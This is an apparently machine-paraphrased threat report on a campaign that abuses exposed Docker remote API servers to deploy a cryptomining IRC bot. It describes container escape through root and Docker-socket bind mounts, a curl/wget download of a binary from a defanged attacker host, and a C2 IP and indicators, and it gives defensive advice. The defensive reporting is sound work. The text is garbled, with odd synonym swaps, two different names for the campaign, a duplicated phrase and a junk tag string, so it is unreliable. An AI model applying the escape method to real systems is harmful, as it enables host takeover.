Cloud
We examine a cryptocurrency mining assault exploiting vulnerable Docker remote API servers to launch digital currency excavators, leveraging Docker visuals from the freely available Trooper project.
Read time: ( words)
- We examine a cryptocurrency mining assault exploiting vulnerable Docker remote API servers to launch digital currency excavators, leveraging Docker visuals from the freely available Trooper project.
- Ill-intentioned performers utilize the cmd.cat/chattr image for initial entry, applying methods like chroot and volume binding to escape the container and reach the mainframe.
- Intrusion signs may encompass specific User-Agent sequences, along with the utilization of DropBear SSH on TCP port 3022, aiding in identifying the presence of the malware.
- To counteract such assaults, it is crucial to stick to container security optimum practices, such as appropriately configuring containers and APIs and utilizing reliable Docker visuals.
We detected an assault campaign exploiting exposed Docker remote API servers to launch digital currency excavators. This assault campaign is known as Analogy Feline due to its initial move, which involves unleashing benign containers created utilizing the freely accessible Trooper project (an open-source GitHub project that generates Docker visuals on-demand for developers). Trooper, which is publicly accessible, is initiated using cmd.cat. The malevolent entities employed the cmd.cat/chattr docker image container that retrieves the payload from their private command-and-control (C&C) system. This assault campaign has been active since theearly 2024.
To obtain initial entry, the intruder launches a docker image called cmd.cat/chattr, a harmless docker image. After deployment, the nefarious actor develops a docker container based on this image and employs chroot for breakout from the container to access the host operating system. Additionally, curl/wget are utilized to fetch the malicious binary into the host.
Let’s dissect the progression of the attack step by step:
1. Investigating the Docker Remote API server
The series of actions in this attack campaign begins with a ping to the Docker Remote API server, marking the pivotal initiation for the subsequent chain of events.
2. Establishing the container using the cmd.cat/chattr image:
Upon confirming the server’s condition as “OK,” the attacker proceeds to instantiate a container employing the cmd.cat/chattr image.
In the container creation request, we observe the malicious actor using chroot and volume binding to evade the container. By utilizing chroot, the attacker can peek beyond the container and access the host system using the Binds parameter that specifies volume bindings.
The binding /:/hs mounts the host’s root directory into the container’s /hs directory, granting the attacker unrestricted access to the host file system. It also links the Docker socket (/var/run/docker.sock:/var/run/docker.sock), enabling the container direct entry to the Docker daemon on the host, thereby enabling the attackers to manipulate Docker as if they were on the host system itself.
3. Image creation in absence
If the above request returns a “No such image” response, the attacker will pull the chattr docker image from the cmd.cat repository.
4. Deployment of the container
With the image situated, the attacker proceeds to construct a Docker container, effectively executing a duplication of the prior step.
While crafting the docker container, the malicious actor triggers a base64-encoded string:
This translates to the subsequent shell script:
The script initiates with a conditional check to identify the presence of a file labeled “z” in the directory /usr/sbin/. Should the file be absent, the script proceeds to download and conduct the malicious binary from its file server (hxxp[:]/leetdbs[.]anondns[.]net/z) and saves it to the directory /usr/sbin/, which potentially belongs to ZiggyStarTux, an open-source IRC bot grounded on the Kaiten malware. This binary is compressed using the UPX packer.
During the examination, we determined the C&C server to be inactive. However, the subsequent User-Agent strings embedded in the binary can be utilized to track the presence of this malware within the network:
- User-Agent: HackZilla/1.67 [en] (X11; U; Linux 2.2.16-3 x64)
- User-Agent: Mozilla/4.75 [en] (X11; U; Linux 2.2.16-3 i686)
The strings within this binary/code suggest the use of DropBear SSH, a relatively compact SSH server and client application on TCP port 3022. This could serve as another indicator for identifying the malware.
The deployed malware endeavors to establish a connection with its C&C server located at 45[.]9[.]148[.]193 on port 1219. Figure 6 illustrates the initial network traffic indicating the initial IRC communication.
The essence of this attack campaign lies in leveraging Docker images to deploy cryptojacking scripts on compromised systems. This strategy empowers attackers to exploit vulnerabilities in Docker configurations while circumventing detection by security solutions. As cybersecurity experts persist in monitoring this hostile actor, organizations must reinforce their defenses against Docker-related assaults.
To safeguardTo enhance protection of development settings against jeopardies targeting containers and hosts, we propose integrating the subsequent recommended strategies:
- Optimize container setups and APIs to diminish susceptibility to exploitative intrusions. Docker offers specific recommendations to empower users on enhancing their security.
- It is advisable for organizations to utilize solely official or certified images to ensure that reliable content is executed in the environment.
- Containers in operation should not run with root privileges; instead, they should function as application users.
- Permit access to containers only from trustworthy sources such as the internal network.
- Organizations should conform to endorsed best practices. For instance, Docker furnishes an extensive catalog of best practices and incorporates security features that users can adhere to for bolstering the security of their cloud environments.
- Conduct periodic security audits to identify any suspicious containers and images.
- In Summary
The Commando Cat attack campaign accentuates the dangers brought by the misuse of exposed Docker remote API servers. By manipulating Docker configurations and utilizing open-source tools like cmd.cat, adversaries can obtain initial entry and deploy malicious executables, eluding traditional security measures. The campaign’s usage of Docker images to disseminate cryptojacking scripts underscores the importance of enforcing robust container security measures.
Below are the security solutions advised for safeguarding Docker servers.
The subsequent safeguards are in place to detect malicious activities and protect Trend clients from the discussed attack in this blog post:
- 1010326 – Identified Docker Daemon Remote API Call
- 1008619 – Application – Docker
- 1010349 – Docker Daemon Remote API Calls
Trend Vision One hunting query
The text below lists potentially beneficial queries for threat hunting within Vision One:
eventId:100115 AND (remarks: POST_IMG_BLD_CRE OR remarks: POST_CON_CREATE) AND “cmd.cat”
MITRE ATT&CK
| Tactics | Technique | Technique ID |
|---|---|---|
| Initial Access | Exploit Public-Facing Application | T1190 |
| Execution | Deploy Container | T1610 |
| Command and Scripting Interpreter: Unix Shell | T1059.004 | |
| Privilege Escalation | Escape to Host | T1611 |
| Command and Control | Data Encoding: Standard Encoding | T1132.001 |
| Ingress Tool Transfer | T1105 |
Indicators of Compromise
The indicators of compromise for this entry can be found here.
Tags
sXpIBdPeKzI9PC2p0SWMpUSM2NSxWzPyXTMLlbXmYa0R20xk
About Author
